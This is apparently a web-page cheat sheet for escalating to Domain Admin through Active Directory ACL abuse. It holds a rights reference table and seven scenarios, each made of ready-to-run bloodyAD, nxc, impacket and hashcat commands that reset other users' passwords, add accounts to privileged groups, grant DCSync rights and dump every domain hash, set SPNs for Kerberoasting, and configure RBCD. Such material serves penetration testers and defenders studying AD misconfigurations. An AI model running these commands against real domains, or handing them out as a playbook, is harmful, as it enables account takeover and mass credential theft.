# PrerequisitesLow-privilege domain credentials BloodHound data collected and imported, confirms which ACL paths exist # ACL Rights ReferenceRight Objects What It Enables GenericAll User, Group, Computer, Domain Full control: password reset, group add, modify any attribute GenericWrite User, Group, Computer Write non-protected attributes ie .SPN, logon script WriteDACL Any object Modify the ACL - grant yourself GenericAll WriteOwner Any object Take ownership - then modify ACL ForceChangePassword User Reset password without knowing current one AddMember / Self Group Add any account to the group DCSync Rights Domain object Replicate all domain hashes
# Attack Flowplain text ⧉ copy
BloodHound → identify ACL misconfiguration from owned account → identify right type + target object → exploit (reset password / add to group / grant DCSync / set SPN) → authenticate as privileged account or DCSync → Domain Admin bash ⧉ copy
pip install bloodyAD # Scenario 1 - GenericAll on a Userbash ⧉ copy
bloodyAD \ -u '<username>' -p '<password>' -d '<domain.local>' --host < dc-i p > \ set password '<target-user>' '<new-password>' # Via nxc nxc smb < dc-i p > -u < usernam e > -p < passwor d > -d < domain.loca l > \ --password-not-required \ -x "net user <target-user> <new-password> /domain" nxc smb < subne t > /24 -u < target-use r > -p < new-passwor d > -d < domain.loca l > # Scenario 2 - GenericAll / AddMember on a Groupbash ⧉ copy
bloodyAD \ -u '<username>' -p '<password>' -d '<domain.local>' --host < dc-i p > \ add groupMember '<target-group>' '<username-to-add>' nxc ldap < dc-i p > -u < usernam e > -p < passwor d > --groups | grep '<target-group>' nxc smb < dc-i p > -u < username-to-ad d > -p < passwor d > -d < domain.loca l > # Scenario 3 - GenericWrite on a Userbash ⧉ copy
# Set SPN — make account Kerberoastable bloodyAD \ -u '<username>' -p '<password>' -d '<domain.local>' --host < dc-i p > \ set object '<target-user>' servicePrincipalName -v 'fake/spn.<domain.local>' impacket-GetUserSPNs '<domain.local>/<username>:<password>' \ -dc-ip < dc-i p > -request -outputfile genericwrite_kerberoast.txt hashcat -m 13100 genericwrite_kerberoast.txt < wordlis t > # Scenario 4 - WriteDACL on an Objectbash ⧉ copy
# Grant DCSync rights via WriteDACL on Domain object bloodyAD \ -u '<username>' -p '<password>' -d '<domain.local>' --host < dc-i p > \ add dcsync '<username>' nxc ldap < dc-i p > -u < usernam e > -p < passwor d > -M daclread -o TARGET= < domain.loca l > impacket-secretsdump '<domain.local>/<username>:<password>@<dc-ip>' -just-dc # Scenario 5 - WriteOwner on an Objectbash ⧉ copy
bloodyAD \ -u '<username>' -p '<password>' -d '<domain.local>' --host < dc-i p > \ set owner '<target-object>' '<username>' bloodyAD \ -u '<username>' -p '<password>' -d '<domain.local>' --host < dc-i p > \ add dcsync '<username>' # Scenario 6 - ForceChangePassword on a Userbash ⧉ copy
bloodyAD \ -u '<username>' -p '<password>' -d '<domain.local>' --host < dc-i p > \ set password '<target-user>' '<new-password>' nxc smb < subne t > /24 -u < target-use r > -p < new-passwor d > -d < domain.loca l > # Scenario 7 - GenericAll on a Computer Objectbash ⧉ copy
# Configure RBCD — full chain in RBCD notes impacket-rbcd \ -delegate-to '<target-computer>$' \ -delegate-from '<attacker-machine>$' \ -action write \ '<domain.local>/<username>:<password>' \ -dc-ip < dc-i p > # Enumerating ACLs Manuallybash ⧉ copy
bloodyAD -u '<username>' -p '<password>' -d '<domain.local>' --host < dc-i p > get writable bloodyAD -u '<username>' -p '<password>' -d '<domain.local>' --host < dc-i p > \ get object '<target-object>' --attr nTSecurityDescriptor nxc ldap < dc-i p > -u < usernam e > -p < passwor d > -M daclread -o TARGET= < target-objec t > # BloodHound ACL Queriesplain text ⧉ copy
Find Shortest Paths to Domain Admins via ACL Abuse Principals with DCSync Rights Find Principals with GenericAll on Domain Find Principals with WriteDACL on Domain Find Principals with GenericWrite on Users Shortest Paths from Owned Principals # What Each Finding Tells YouFinding Implication GenericAll on Domain Admins group Add controlled account to DA GenericAll on a user Reset password, authenticate as them WriteDACL on Domain object Grant DCSync, dump all hashes GenericWrite on a user Set SPN, Kerberoast ForceChangePassword on DA Reset DA password directly WriteOwner on privileged object Take ownership, grant GenericAll, exploit GenericAll on computer Configure RBCD, impersonate DA